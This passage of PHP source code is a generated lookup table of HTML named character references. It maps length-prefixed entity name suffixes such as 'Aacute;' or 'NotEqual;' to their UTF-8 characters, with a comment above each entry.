\x00op\x00or\x00os\x00ot\x00ou\x00ov\x00pa\x00pc\x00pe\x00pf\x00ph\x00pi\x00pl\x00pm\x00po\x00pr\x00ps\x00pu\x00qf\x00qi\x00qo\x00qp\x00qs\x00qu\x00rA\x00rB\x00rH\x00ra\x00rb\x00rc\x00rd\x00re\x00rf\x00rh\x00ri\x00rl\x00rm\x00rn\x00ro\x00rp\x00rr\x00rs\x00rt\x00ru\x00rx\x00sa\x00sb\x00sc\x00sd\x00se\x00sf\x00sh\x00si\x00sl\x00sm\x00so\x00sp\x00sq\x00sr\x00ss\x00st\x00su\x00sw\x00sz\x00ta\x00tb\x00tc\x00td\x00te\x00tf\x00th\x00ti\x00to\x00tp\x00tr\x00ts\x00tw\x00uA\x00uH\x00ua\x00ub\x00uc\x00ud\x00uf\x00ug\x00uh\x00ul\x00um\x00uo\x00up\x00ur\x00us\x00ut\x00uu\x00uw\x00vA\x00vB\x00vD\x00va\x00vc\x00vd\x00ve\x00vf\x00vl\x00vn\x00vo\x00vp\x00vr\x00vs\x00vz\x00wc\x00we\x00wf\x00wo\x00wp\x00wr\x00ws\x00xc\x00xd\x00xf\x00xh\x00xi\x00xl\x00xm\x00xn\x00xo\x00xr\x00xs\x00xu\x00xv\x00xw\x00ya\x00yc\x00ye\x00yf\x00yi\x00yo\x00ys\x00yu\x00za\x00zc\x00zd\x00ze\x00zf\x00zh\x00zi\x00zo\x00zs\x00zw\x00",
		"large_words" => array(
			// AElig;[Æ] AElig[Æ].
			"\x04lig;\x02Æ\x03lig\x02Æ",
			// AMP;[&] AMP[&].
			"\x02P;\x01&\x01P\x01&",
			// Aacute;[Á] Aacute[Á].
			"\x05cute;\x02Á\x04cute\x02Á",
			// Abreve;[Ă].
			"\x05reve;\x02Ă",
			// Acirc;[Â] Acirc[Â] Acy;[А].
			"\x04irc;\x02Â\x03irc\x02Â\x02y;\x02А",
			// Afr;[𝔄].
			"\x02r;\x04𝔄",
			// Agrave;[À] Agrave[À].
			"\x05rave;\x02À\x04rave\x02À",
			// Alpha;[Α].
			"\x04pha;\x02Α",
			// Amacr;[Ā].
			"\x04acr;\x02Ā",
			// And;[⩓].
			"\x02d;\x03⩓",
			// Aogon;[Ą] Aopf;[𝔸].
			"\x04gon;\x02Ą\x03pf;\x04𝔸",
			// ApplyFunction;[⁡].
			"\x0cplyFunction;\x03⁡",
			// Aring;[Å] Aring[Å].
			"\x04ing;\x02Å\x03ing\x02Å",
			// Assign;[≔] Ascr;[𝒜].
			"\x05sign;\x03≔\x03cr;\x04𝒜",
			// Atilde;[Ã] Atilde[Ã].
			"\x05ilde;\x02Ã\x04ilde\x02Ã",
			// Auml;[Ä] Auml[Ä].
			"\x03ml;\x02Ä\x02ml\x02Ä",
			// Backslash;[∖] Barwed;[⌆] Barv;[⫧].
			"\x08ckslash;\x03∖\x05rwed;\x03⌆\x03rv;\x03⫧",
			// Bcy;[Б].
			"\x02y;\x02Б",
			// Bernoullis;[ℬ] Because;[∵] Beta;[Β].
			"\x09rnoullis;\x03ℬ\x06cause;\x03∵\x03ta;\x02Β",
			// Bfr;[𝔅].
			"\x02r;\x04𝔅",
			// Bopf;[𝔹].
			"\x03pf;\x04𝔹",
			// Breve;[˘].
			"\x04eve;\x02˘",
			// Bscr;[ℬ].
			"\x03cr;\x03ℬ",
			// Bumpeq;[≎].
			"\x05mpeq;\x03≎",
			// CHcy;[Ч].
			"\x03cy;\x02Ч",
			// COPY;[©] COPY[©].
			"\x03PY;\x02©\x02PY\x02©",
			// CapitalDifferentialD;[ⅅ] Cayleys;[ℭ] Cacute;[Ć] Cap;[⋒].
			"\x13pitalDifferentialD;\x03ⅅ\x06yleys;\x03ℭ\x05cute;\x02Ć\x02p;\x03⋒",
			// Cconint;[∰] Ccaron;[Č] Ccedil;[Ç] Ccedil[Ç] Ccirc;[Ĉ].
			"\x06onint;\x03∰\x05aron;\x02Č\x05edil;\x02Ç\x04edil\x02Ç\x04irc;\x02Ĉ",
			// Cdot;[Ċ].
			"\x03ot;\x02Ċ",
			// CenterDot;[·] Cedilla;[¸].
			"\x08nterDot;\x02·\x06dilla;\x02¸",
			// Cfr;[ℭ].
			"\x02r;\x03ℭ",
			// Chi;[Χ].
			"\x02i;\x02Χ",
			// CircleMinus;[⊖] CircleTimes;[⊗] CirclePlus;[⊕] CircleDot;[⊙].
			"\x0arcleMinus;\x03⊖\x0arcleTimes;\x03⊗\x09rclePlus;\x03⊕\x08rcleDot;\x03⊙",
			// ClockwiseContourIntegral;[∲] CloseCurlyDoubleQuote;[”] CloseCurlyQuote;[’].
			"\x17ockwiseContourIntegral;\x03∲\x14oseCurlyDoubleQuote;\x03”\x0eoseCurlyQuote;\x03’",
			// CounterClockwiseContourIntegral;[∳] ContourIntegral;[∮] Congruent;[≡] Coproduct;[∐] Colone;[⩴] Conint;[∯] Colon;[∷] Copf;[ℂ].
			"\x1eunterClockwiseContourIntegral;\x03∳\x0entourIntegral;\x03∮\x08ngruent;\x03≡\x08product;\x03∐\x05lone;\x03⩴\x05nint;\x03∯\x04lon;\x03∷\x03pf;\x03ℂ",
			// Cross;[⨯].
			"\x04oss;\x03⨯",
			// Cscr;[𝒞].
			"\x03cr;\x04𝒞",
			// CupCap;[≍] Cup;[⋓].
			"\x05pCap;\x03≍\x02p;\x03⋓",
			// DDotrahd;[⤑] DD;[ⅅ].
			"\x07otrahd;\x03⤑\x01;\x03ⅅ",
			// DJcy;[Ђ].
			"\x03cy;\x02Ђ",
			// DScy;[Ѕ].
			"\x03cy;\x02Ѕ",
			// DZcy;[Џ].
			"\x03cy;\x02Џ",
			// Dagger;[‡] Dashv;[⫤] Darr;[↡].
			"\x05gger;\x03‡\x04shv;\x03⫤\x03rr;\x03↡",
			// Dcaron;[Ď] Dcy;[Д].
			"\x05aron;\x02Ď\x02y;\x02Д",
			// Delta;[Δ] Del;[∇].
			"\x04lta;\x02Δ\x02l;\x03∇",
			// Dfr;[𝔇].
			"\x02r;\x04𝔇",
			// DiacriticalDoubleAcute;[˝] DiacriticalAcute;[´] DiacriticalGrave;[`] DiacriticalTilde;[˜] DiacriticalDot;[˙] DifferentialD;[ⅆ] Diamond;[⋄].
			"\x15acriticalDoubleAcute;\x02˝\x0facriticalAcute;\x02´\x0facriticalGrave;\x01`\x0facriticalTilde;\x02˜\x0dacriticalDot;\x02˙\x0cfferentialD;\x03ⅆ\x06amond;\x03⋄",
			// DoubleLongLeftRightArrow;[⟺] DoubleContourIntegral;[∯] DoubleLeftRightArrow;[⇔] DoubleLongRightArrow;[⟹] DoubleLongLeftArrow;[⟸] DownLeftRightVector;[⥐] DownRightTeeVector;[⥟] DownRightVectorBar;[⥗] DoubleUpDownArrow;[⇕] DoubleVerticalBar;[∥] DownLeftTeeVector;[⥞] DownLeftVectorBar;[⥖] DoubleRightArrow;[⇒] DownArrowUpArrow;[⇵] DoubleDownArrow;[⇓] DoubleLeftArrow;[⇐] DownRightVector;[⇁] DoubleRightTee;[⊨] DownLeftVector;[↽] DoubleLeftTee;[⫤] DoubleUpArrow;[⇑] DownArrowBar;[⤓] DownTeeArrow;[↧] DoubleDot;[¨] DownArrow;[↓] DownBreve;[̑] Downarrow;[⇓] DotEqual;[≐] DownTee;[⊤] DotDot;[⃜] Dopf;[𝔻] Dot;[¨].
			"\x17ubleLongLeftRightArrow;\x03⟺\x14ubleContourIntegral;\x03∯\x13ubleLeftRightArrow;\x03⇔\x13ubleLongRightArrow;\x03⟹\x12ubleLongLeftArrow;\x03⟸\x12wnLeftRightVector;\x03⥐\x11wnRightTeeVector;\x03⥟\x11wnRightVectorBar;\x03⥗\x10ubleUpDownArrow;\x03⇕\x10ubleVerticalBar;\x03∥\x10wnLeftTeeVector;\x03⥞\x10wnLeftVectorBar;\x03⥖\x0fubleRightArrow;\x03⇒\x0fwnArrowUpArrow;\x03⇵\x0eubleDownArrow;\x03⇓\x0eubleLeftArrow;\x03⇐\x0ewnRightVector;\x03⇁\x0dubleRightTee;\x03⊨\x0dwnLeftVector;\x03↽\x0cubleLeftTee;\x03⫤\x0cubleUpArrow;\x03⇑\x0bwnArrowBar;\x03⤓\x0bwnTeeArrow;\x03↧\x08ubleDot;\x02¨\x08wnArrow;\x03↓\x08wnBreve;\x02̑\x08wnarrow;\x03⇓\x07tEqual;\x03≐\x06wnTee;\x03⊤\x05tDot;\x03⃜\x03pf;\x04𝔻\x02t;\x02¨",
			// Dstrok;[Đ] Dscr;[𝒟].
			"\x05trok;\x02Đ\x03cr;\x04𝒟",
			// ENG;[Ŋ].
			"\x02G;\x02Ŋ",
			// ETH;[Ð] ETH[Ð].
			"\x02H;\x02Ð\x01H\x02Ð",
			// Eacute;[É] Eacute[É].
			"\x05cute;\x02É\x04cute\x02É",
			// Ecaron;[Ě] Ecirc;[Ê] Ecirc[Ê] Ecy;[Э].
			"\x05aron;\x02Ě\x04irc;\x02Ê\x03irc\x02Ê\x02y;\x02Э",
			// Edot;[Ė].
			"\x03ot;\x02Ė",
			// Efr;[𝔈].
			"\x02r;\x04𝔈",
			// Egrave;[È] Egrave[È].
			"\x05rave;\x02È\x04rave\x02È",
			// Element;[∈].
			"\x06ement;\x03∈",
			// EmptyVerySmallSquare;[▫] EmptySmallSquare;[◻] Emacr;[Ē].
			"\x13ptyVerySmallSquare;\x03▫\x0fptySmallSquare;\x03◻\x04acr;\x02Ē",
			// Eogon;[Ę] Eopf;[𝔼].
			"\x04gon;\x02Ę\x03pf;\x04𝔼",
			// Epsilon;[Ε].
			"\x06silon;\x02Ε",
			// Equilibrium;[⇌] EqualTilde;[≂] Equal;[⩵].
			"\x0auilibrium;\x03⇌\x09ualTilde;\x03≂\x04ual;\x03⩵",
			// Escr;[ℰ] Esim;[⩳].
			"\x03cr;\x03ℰ\x03im;\x03⩳",
			// Eta;[Η].
			"\x02a;\x02Η",
			// Euml;[Ë] Euml[Ë].
			"\x03ml;\x02Ë\x02ml\x02Ë",
			// ExponentialE;[ⅇ] Exists;[∃].
			"\x0bponentialE;\x03ⅇ\x05ists;\x03∃",
			// Fcy;[Ф].
			"\x02y;\x02Ф",
			// Ffr;[𝔉].
			"\x02r;\x04𝔉",
			// FilledVerySmallSquare;[▪] FilledSmallSquare;[◼].
			"\x14lledVerySmallSquare;\x03▪\x10lledSmallSquare;\x03◼",
			// Fouriertrf;[ℱ] ForAll;[∀] Fopf;[𝔽].
			"\x09uriertrf;\x03ℱ\x05rAll;\x03∀\x03pf;\x04𝔽",
			// Fscr;[ℱ].
			"\x03cr;\x03ℱ",
			// GJcy;[Ѓ].
			"\x03cy;\x02Ѓ",
			// GT;[>].
			"\x01;\x01>",
			// Gammad;[Ϝ] Gamma;[Γ].
			"\x05mmad;\x02Ϝ\x04mma;\x02Γ",
			// Gbreve;[Ğ].
			"\x05reve;\x02Ğ",
			// Gcedil;[Ģ] Gcirc;[Ĝ] Gcy;[Г].
			"\x05edil;\x02Ģ\x04irc;\x02Ĝ\x02y;\x02Г",
			// Gdot;[Ġ].
			"\x03ot;\x02Ġ",
			// Gfr;[𝔊].
			"\x02r;\x04𝔊",
			// Gg;[⋙].
			"\x01;\x03⋙",
			// Gopf;[𝔾].
			"\x03pf;\x04𝔾",
			// GreaterSlantEqual;[⩾] GreaterEqualLess;[⋛] GreaterFullEqual;[≧] GreaterGreater;[⪢] GreaterEqual;[≥] GreaterTilde;[≳] GreaterLess;[≷].
			"\x10eaterSlantEqual;\x03⩾\x0featerEqualLess;\x03⋛\x0featerFullEqual;\x03≧\x0deaterGreater;\x03⪢\x0beaterEqual;\x03≥\x0beaterTilde;\x03≳\x0aeaterLess;\x03≷",
			// Gscr;[𝒢].
			"\x03cr;\x04𝒢",
			// Gt;[≫].
			"\x01;\x03≫",
			// HARDcy;[Ъ].
			"\x05RDcy;\x02Ъ",
			// Hacek;[ˇ] Hat;[^].
			"\x04cek;\x02ˇ\x02t;\x01^",
			// Hcirc;[Ĥ].
			"\x04irc;\x02Ĥ",
			// Hfr;[ℌ].
			"\x02r;\x03ℌ",
			// HilbertSpace;[ℋ].
			"\x0blbertSpace;\x03ℋ",
			// HorizontalLine;[─] Hopf;[ℍ].
			"\x0drizontalLine;\x03─\x03pf;\x03ℍ",
			// Hstrok;[Ħ] Hscr;[ℋ].
			"\x05trok;\x02Ħ\x03cr;\x03ℋ",
			// HumpDownHump;[≎] HumpEqual;[≏].
			"\x0bmpDownHump;\x03≎\x08mpEqual;\x03≏",
			// IEcy;[Е].
			"\x03cy;\x02Е",
			// IJlig;[IJ].
			"\x04lig;\x02IJ",
			// IOcy;[Ё].
			"\x03cy;\x02Ё",
			// Iacute;[Í] Iacute[Í].
			"\x05cute;\x02Í\x04cute\x02Í",
			// Icirc;[Î] Icirc[Î] Icy;[И].
			"\x04irc;\x02Î\x03irc\x02Î\x02y;\x02И",
			// Idot;[İ].
			"\x03ot;\x02İ",
			// Ifr;[ℑ].
			"\x02r;\x03ℑ",
			// Igrave;[Ì] Igrave[Ì].
			"\x05rave;\x02Ì\x04rave\x02Ì",
			// ImaginaryI;[ⅈ] Implies;[⇒] Imacr;[Ī] Im;[ℑ].
			"\x09aginaryI;\x03ⅈ\x06plies;\x03⇒\x04acr;\x02Ī\x01;\x03ℑ",
			// InvisibleComma;[⁣] InvisibleTimes;[⁢] Intersection;[⋂] Integral;[∫] Int;[∬].
			"\x0dvisibleComma;\x03⁣\x0dvisibleTimes;\x03⁢\x0btersection;\x03⋂\x07tegral;\x03∫\x02t;\x03∬",
			// Iogon;[Į] Iopf;[𝕀] Iota;[Ι].
			"\x04gon;\x02Į\x03pf;\x04𝕀\x03ta;\x02Ι",
			// Iscr;[ℐ].
			"\x03cr;\x03ℐ",
			// Itilde;[Ĩ].
			"\x05ilde;\x02Ĩ",
			// Iukcy;[І] Iuml;[Ï] Iuml[Ï].
			"\x04kcy;\x02І\x03ml;\x02Ï\x02ml\x02Ï",
			// Jcirc;[Ĵ] Jcy;[Й].
			"\x04irc;\x02Ĵ\x02y;\x02Й",
			// Jfr;[𝔍].
			"\x02r;\x04𝔍",
			// Jopf;[𝕁].
			"\x03pf;\x04𝕁",
			// Jsercy;[Ј] Jscr;[𝒥].
			"\x05ercy;\x02Ј\x03cr;\x04𝒥",
			// Jukcy;[Є].
			"\x04kcy;\x02Є",
			// KHcy;[Х].
			"\x03cy;\x02Х",
			// KJcy;[Ќ].
			"\x03cy;\x02Ќ",
			// Kappa;[Κ].
			"\x04ppa;\x02Κ",
			// Kcedil;[Ķ] Kcy;[К].
			"\x05edil;\x02Ķ\x02y;\x02К",
			// Kfr;[𝔎].
			"\x02r;\x04𝔎",
			// Kopf;[𝕂].
			"\x03pf;\x04𝕂",
			// Kscr;[𝒦].
			"\x03cr;\x04𝒦",
			// LJcy;[Љ].
			"\x03cy;\x02Љ",
			// LT;[<].
			"\x01;\x01<",
			// Laplacetrf;[ℒ] Lacute;[Ĺ] Lambda;[Λ] Lang;[⟪] Larr;[↞].
			"\x09placetrf;\x03ℒ\x05cute;\x02Ĺ\x05mbda;\x02Λ\x03ng;\x03⟪\x03rr;\x03↞",
			// Lcaron;[Ľ] Lcedil;[Ļ] Lcy;[Л].
			"\x05aron;\x02Ľ\x05edil;\x02Ļ\x02y;\x02Л",
			// LeftArrowRightArrow;[⇆] LeftDoubleBracket;[⟦] LeftDownTeeVector;[⥡] LeftDownVectorBar;[⥙] LeftTriangleEqual;[⊴] LeftAngleBracket;[⟨] LeftUpDownVector;[⥑] LessEqualGreater;[⋚] LeftRightVector;[⥎] LeftTriangleBar;[⧏] LeftUpTeeVector;[⥠] LeftUpVectorBar;[⥘] LeftDownVector;[⇃] LeftRightArrow;[↔] Leftrightarrow;[⇔] LessSlantEqual;[⩽] LeftTeeVector;[⥚] LeftVectorBar;[⥒] LessFullEqual;[≦] LeftArrowBar;[⇤] LeftTeeArrow;[↤] LeftTriangle;[⊲] LeftUpVector;[↿] LeftCeiling;[⌈] LessGreater;[≶] LeftVector;[↼] LeftArrow;[←] LeftFloor;[⌊] Leftarrow;[⇐] LessTilde;[≲] LessLess;[⪡] LeftTee;[⊣].
			"\x12ftArrowRightArrow;\x03⇆\x10ftDoubleBracket;\x03⟦\x10ftDownTeeVector;\x03⥡\x10ftDownVectorBar;\x03⥙\x10ftTriangleEqual;\x03⊴\x0fftAngleBracket;\x03⟨\x0fftUpDownVector;\x03⥑\x0fssEqualGreater;\x03⋚\x0eftRightVector;\x03⥎\x0eftTriangleBar;\x03⧏\x0eftUpTeeVector;\x03⥠\x0eftUpVectorBar;\x03⥘\x0dftDownVector;\x03⇃\x0dftRightArrow;\x03↔\x0dftrightarrow;\x03⇔\x0dssSlantEqual;\x03⩽\x0cftTeeVector;\x03⥚\x0cftVectorBar;\x03⥒\x0cssFullEqual;\x03≦\x0bftArrowBar;\x03⇤\x0bftTeeArrow;\x03↤\x0bftTriangle;\x03⊲\x0bftUpVector;\x03↿\x0aftCeiling;\x03⌈\x0assGreater;\x03≶\x09ftVector;\x03↼\x08ftArrow;\x03←\x08ftFloor;\x03⌊\x08ftarrow;\x03⇐\x08ssTilde;\x03≲\x07ssLess;\x03⪡\x06ftTee;\x03⊣",
			// Lfr;[𝔏].
			"\x02r;\x04𝔏",
			// Lleftarrow;[⇚] Ll;[⋘].
			"\x09eftarrow;\x03⇚\x01;\x03⋘",
			// Lmidot;[Ŀ].
			"\x05idot;\x02Ŀ",
			// LongLeftRightArrow;[⟷] Longleftrightarrow;[⟺] LowerRightArrow;[↘] LongRightArrow;[⟶] Longrightarrow;[⟹] LowerLeftArrow;[↙] LongLeftArrow;[⟵] Longleftarrow;[⟸] Lopf;[𝕃].
			"\x11ngLeftRightArrow;\x03⟷\x11ngleftrightarrow;\x03⟺\x0ewerRightArrow;\x03↘\x0dngRightArrow;\x03⟶\x0dngrightarrow;\x03⟹\x0dwerLeftArrow;\x03↙\x0cngLeftArrow;\x03⟵\x0cngleftarrow;\x03⟸\x03pf;\x04𝕃",
			// Lstrok;[Ł] Lscr;[ℒ] Lsh;[↰].
			"\x05trok;\x02Ł\x03cr;\x03ℒ\x02h;\x03↰",
			// Lt;[≪].
			"\x01;\x03≪",
			// Map;[⤅].
			"\x02p;\x03⤅",
			// Mcy;[М].
			"\x02y;\x02М",
			// MediumSpace;[ ] Mellintrf;[ℳ].
			"\x0adiumSpace;\x03 \x08llintrf;\x03ℳ",
			// Mfr;[𝔐].
			"\x02r;\x04𝔐",
			// MinusPlus;[∓].
			"\x08nusPlus;\x03∓",
			// Mopf;[𝕄].
			"\x03pf;\x04𝕄",
			// Mscr;[ℳ].
			"\x03cr;\x03ℳ",
			// Mu;[Μ].
			"\x01;\x02Μ",
			// NJcy;[Њ].
			"\x03cy;\x02Њ",
			// Nacute;[Ń].
			"\x05cute;\x02Ń",
			// Ncaron;[Ň] Ncedil;[Ņ] Ncy;[Н].
			"\x05aron;\x02Ň\x05edil;\x02Ņ\x02y;\x02Н",
			// NegativeVeryThinSpace;[​] NestedGreaterGreater;[≫] NegativeMediumSpace;[​] NegativeThickSpace;[​] NegativeThinSpace;[​] NestedLessLess;[≪] NewLine;[\xa].
			"\x14gativeVeryThinSpace;\x03​\x13stedGreaterGreater;\x03≫\x12gativeMediumSpace;\x03​\x11gativeThickSpace;\x03​\x10gativeThinSpace;\x03​\x0dstedLessLess;\x03≪\x06wLine;\x01\xa",
			// Nfr;[𝔑].
			"\x02r;\x04𝔑",
			// NotNestedGreaterGreater;[⪢̸] NotSquareSupersetEqual;[⋣] NotPrecedesSlantEqual;[⋠] NotRightTriangleEqual;[⋭] NotSucceedsSlantEqual;[⋡] NotDoubleVerticalBar;[∦] NotGreaterSlantEqual;[⩾̸] NotLeftTriangleEqual;[⋬] NotSquareSubsetEqual;[⋢] NotGreaterFullEqual;[≧̸] NotRightTriangleBar;[⧐̸] NotLeftTriangleBar;[⧏̸] NotGreaterGreater;[≫̸] NotLessSlantEqual;[⩽̸] NotNestedLessLess;[⪡̸] NotReverseElement;[∌] NotSquareSuperset;[⊐̸] NotTildeFullEqual;[≇] NonBreakingSpace;[ ] NotPrecedesEqual;[⪯̸] NotRightTriangle;[⋫] NotSucceedsEqual;[⪰̸] NotSucceedsTilde;[≿̸] NotSupersetEqual;[⊉] NotGreaterEqual;[≱] NotGreaterTilde;[≵] NotHumpDownHump;[≎̸] NotLeftTriangle;[⋪] NotSquareSubset;[⊏̸] NotGreaterLess;[≹] NotLessGreater;[≸] NotSubsetEqual;[⊈] NotVerticalBar;[∤] NotEqualTilde;[≂̸] NotTildeEqual;[≄] NotTildeTilde;[≉] NotCongruent;[≢] NotHumpEqual;[≏̸] NotLessEqual;[≰] NotLessTilde;[≴] NotLessLess;[≪̸] NotPrecedes;[⊀] NotSucceeds;[⊁] NotSuperset;[⊃⃒] NotElement;[∉] NotGreater;[≯] NotCupCap;[≭] NotExists;[∄] NotSubset;[⊂⃒] NotEqual;[≠] NotTilde;[≁] NoBreak;[⁠] NotLess;[≮] Nopf;[ℕ] Not;[⫬].
			"\x16tNestedGreaterGreater;\x05⪢̸\x15tSquareSupersetEqual;\x03⋣\x14tPrecedesSlantEqual;\x03⋠\x14tRightTriangleEqual;\x03⋭\x14tSucceedsSlantEqual;\x03⋡\x13tDoubleVerticalBar;\x03∦\x13tGreaterSlantEqual;\x05⩾̸\x13tLeftTriangleEqual;\x03⋬\x13tSquareSubsetEqual;\x03⋢\x12tGreaterFullEqual;\x05≧̸\x12tRightTriangleBar;\x05⧐̸\x11tLeftTriangleBar;\x05⧏̸\x10tGreaterGreater;\x05≫̸\x10tLessSlantEqual;\x05⩽̸\x10tNestedLessLess;\x05⪡̸\x10tReverseElement;\x03∌\x10tSquareSuperset;\x05⊐̸\x10tTildeFullEqual;\x03≇\x0fnBreakingSpace;\x02 \x0ftPrecedesEqual;\x05⪯̸\x0ftRightTriangle;\x03⋫\x0ftSucceedsEqual;\x05⪰̸\x0ftSucceedsTilde;\x05≿̸\x0ftSupersetEqual;\x03⊉\x0etGreaterEqual;\x03≱\x0etGreaterTilde;\x03≵\x0etHumpDownHump;\x05≎̸\x0etLeftTriangle;\x03⋪\x0etSquareSubset;\x05⊏̸\x0dtGreaterLess;\x03≹\x0dtLessGreater;\x03≸\x0dtSubsetEqual;\x03⊈\x0dtVerticalBar;\x03∤\x0ctEqualTilde;\x05≂̸\x0ctTildeEqual;\x03≄\x0ctTildeTilde;\x03≉\x0btCongruent;\x03≢\x0btHumpEqual;\x05≏̸\x0btLessEqual;\x03≰\x0btLessTilde;\x03≴\x0atLessLess;\x05≪̸\x0atPrecedes;\x03⊀\x0atSucceeds;\x03⊁\x0atSuperset;\x06⊃⃒\x09tElement;\x03∉\x09tGreater;\x03≯\x08tCupCap;\x03≭\x08tExists;\x03∄\x08tSubset;\x06⊂⃒\x07tEqual;\x03≠\x07tTilde;\x03≁\x06Break;\x03⁠\x06tLess;\x03≮\x03pf;\x03ℕ\x02t;\x03⫬",
			// Nscr;[𝒩].
			"\x03cr;\x04𝒩",
			// Ntilde;[Ñ] Ntilde[Ñ].
			"\x05ilde;\x02Ñ\x04ilde\x02Ñ",
			// Nu;[Ν].
			"\x01;\x02Ν",
			// OElig;[Œ].
			"\x04lig;\x02Œ",
			// Oacute;[Ó] Oacute[Ó].
			"\x05cute;\x02Ó\x04cute\x02Ó",
			// Ocirc;[Ô] Ocirc[Ô] Ocy;[О].
			"\x04irc;\x02Ô\x03irc\x02Ô\x02y;\x02О",
			// Odblac;[Ő].
			"\x05blac;\x02Ő",
			// Ofr;[𝔒].
			"\x02r;\x04𝔒",
			// Ograve;[Ò] Ograve[Ò].
			"\x05rave;\x02Ò\x04rave\x02Ò",
			// Omicron;[Ο] Omacr;[Ō] Omega;[Ω].
			"\x06icron;\x02Ο\x04acr;\x02Ō\x04ega;\x02Ω",
			// Oopf;[𝕆].
			"\x03pf;\x04𝕆",
			// OpenCurlyDoubleQuote;[“] OpenCurlyQuote;[‘].
			"\x13enCurlyDoubleQuote;\x03“\x0denCurlyQuote;\x03‘",
			// Or;[⩔].
			"\x01;\x03⩔",
			// Oslash;[Ø] Oslash[Ø] Oscr;[𝒪].
			"\x05lash;\x02Ø\x04lash\x02Ø\x03cr;\x04𝒪",
			// Otilde;[Õ] Otimes;[⨷] Otilde[Õ].
			"\x05ilde;\x02Õ\x05imes;\x03⨷\x04ilde\x02Õ",
			// Ouml;[Ö] Ouml[Ö].
			"\x03ml;\x02Ö\x02ml\x02Ö",
			// OverParenthesis;[⏜] OverBracket;[⎴] OverBrace;[⏞] OverBar;[‾].
			"\x0eerParenthesis;\x03⏜\x0aerBracket;\x03⎴\x08erBrace;\x03⏞\x06erBar;\x03‾",
			// PartialD;[∂].
			"\x07rtialD;\x03∂",
			// Pcy;[П].
			"\x02y;\x02П",
			// Pfr;[𝔓].
			"\x02r;\x04𝔓",
			// Phi;[Φ].
			"\x02i;\x02Φ",
			// Pi;[Π].
			"\x01;\x02Π",
			// PlusMinus;[±].
			"\x08usMinus;\x02±",
			// Poincareplane;[ℌ] Popf;[ℙ].
			"\x0cincareplane;\x03ℌ\x03pf;\x03ℙ",
			// PrecedesSlantEqual;[≼] PrecedesEqual;[⪯] PrecedesTilde;[≾] Proportional;[∝] Proportion;[∷] Precedes;[≺] Product;[∏] Prime;[″] Pr;[⪻].
			"\x11ecedesSlantEqual;\x03≼\x0cecedesEqual;\x03⪯\x0cecedesTilde;\x03≾\x0boportional;\x03∝\x09oportion;\x03∷\x07ecedes;\x03≺\x06oduct;\x03∏\x04ime;\x03″\x01;\x03⪻",
			// Pscr;[𝒫] Psi;[Ψ].
			"\x03cr;\x04𝒫\x02i;\x02Ψ",
			// QUOT;[\"] QUOT[\"].
			"\x03OT;\x01\"\x02OT\x01\"",
			// Qfr;[𝔔].
			"\x02r;\x04𝔔",
			// Qopf;[ℚ].
			"\x03pf;\x03ℚ",
			// Qscr;[𝒬].
			"\x03cr;\x04𝒬",
			// RBarr;[⤐].
			"\x04arr;\x03⤐",
			// REG;[®] REG[®].
			"\x02G;\x02®\x01G\x02®",
			// Racute;[Ŕ] Rarrtl;[⤖] Rang;[⟫] Rarr;[↠].
			"\x05cute;\x02Ŕ\x05rrtl;\x03⤖\x03ng;\x03⟫\x03rr;\x03↠",
			// Rcaron;[Ř] Rcedil;[Ŗ] Rcy;[Р].
			"\x05aron;\x02Ř\x05edil;\x02Ŗ\x02y;\x02Р",
			// ReverseUpEquilibrium;[⥯] ReverseEquilibrium;[⇋] ReverseElement;[∋] Re;[ℜ].
			"\x13verseUpEquilibrium;\x03⥯\x11verseEquilibrium;\x03⇋\x0dverseElement;\x03∋\x01;\x03ℜ",
			// Rfr;[ℜ].
			"\x02r;\x03ℜ",
			// Rho;[Ρ].
			"\x02o;\x02Ρ",
			// RightArrowLeftArrow;[⇄] RightDoubleBracket;[⟧] RightDownTeeVector;[⥝] RightDownVectorBar;[⥕] RightTriangleEqual;[⊵] RightAngleBracket;[⟩] RightUpDownVector;[⥏] RightTriangleBar;[⧐] RightUpTeeVector;[⥜] RightUpVectorBar;[⥔] RightDownVector;[⇂] RightTeeVector;[⥛] RightVectorBar;[⥓] RightArrowBar;[⇥] RightTeeArrow;[↦] RightTriangle;[⊳] RightUpVector;[↾] RightCeiling;[⌉] RightVector;[⇀] RightArrow;[→] RightFloor;[⌋] Rightarrow;[⇒] RightTee;[⊢].
			"\x12ghtArrowLeftArrow;\x03⇄\x11ghtDoubleBracket;\x03⟧\x11ghtDownTeeVector;\x03⥝\x11ghtDownVectorBar;\x03⥕\x11ghtTriangleEqual;\x03⊵\x10ghtAngleBracket;\x03⟩\x10ghtUpDownVector;\x03⥏\x0fghtTriangleBar;\x03⧐\x0fghtUpTeeVector;\x03⥜\x0fghtUpVectorBar;\x03⥔\x0eghtDownVector;\x03⇂\x0dghtTeeVector;\x03⥛\x0dghtVectorBar;\x03⥓\x0cghtArrowBar;\x03⇥\x0cghtTeeArrow;\x03↦\x0cghtTriangle;\x03⊳\x0cghtUpVector;\x03↾\x0bghtCeiling;\x03⌉\x0aghtVector;\x03⇀\x09ghtArrow;\x03→\x09ghtFloor;\x03⌋\x09ghtarrow;\x03⇒\x07ghtTee;\x03⊢",
			// RoundImplies;[⥰] Ropf;[ℝ].
			"\x0bundImplies;\x03⥰\x03pf;\x03ℝ",
			// Rrightarrow;[⇛].
			"\x0aightarrow;\x03⇛",
			// Rscr;[ℛ] Rsh;[↱].
			"\x03cr;\x03ℛ\x02h;\x03↱",
			// RuleDelayed;[⧴].
			"\x0aleDelayed;\x03⧴",
			// SHCHcy;[Щ] SHcy;[Ш].
			"\x05CHcy;\x02Щ\x03cy;\x02Ш",
			// SOFTcy;[Ь].
			"\x05FTcy;\x02Ь",
			// Sacute;[Ś].
			"\x05cute;\x02Ś",
			// Scaron;[Š] Scedil;[Ş] Scirc;[Ŝ] Scy;[С] Sc;[⪼].
			"\x05aron;\x02Š\x05edil;\x02Ş\x04irc;\x02Ŝ\x02y;\x02С\x01;\x03⪼",
			// Sfr;[𝔖].
			"\x02r;\x04𝔖",
			// ShortRightArrow;[→] ShortDownArrow;[↓] ShortLeftArrow;[←] ShortUpArrow;[↑].
			"\x0eortRightArrow;\x03→\x0dortDownArrow;\x03↓\x0dortLeftArrow;\x03←\x0bortUpArrow;\x03↑",
			// Sigma;[Σ].
			"\x04gma;\x02Σ",
			// SmallCircle;[∘].
			"\x0aallCircle;\x03∘",
			// Sopf;[𝕊].
			"\x03pf;\x04𝕊",
			// SquareSupersetEqual;[⊒] SquareIntersection;[⊓] SquareSubsetEqual;[⊑] SquareSuperset;[⊐] SquareSubset;[⊏] SquareUnion;[⊔] Square;[□] Sqrt;[√].
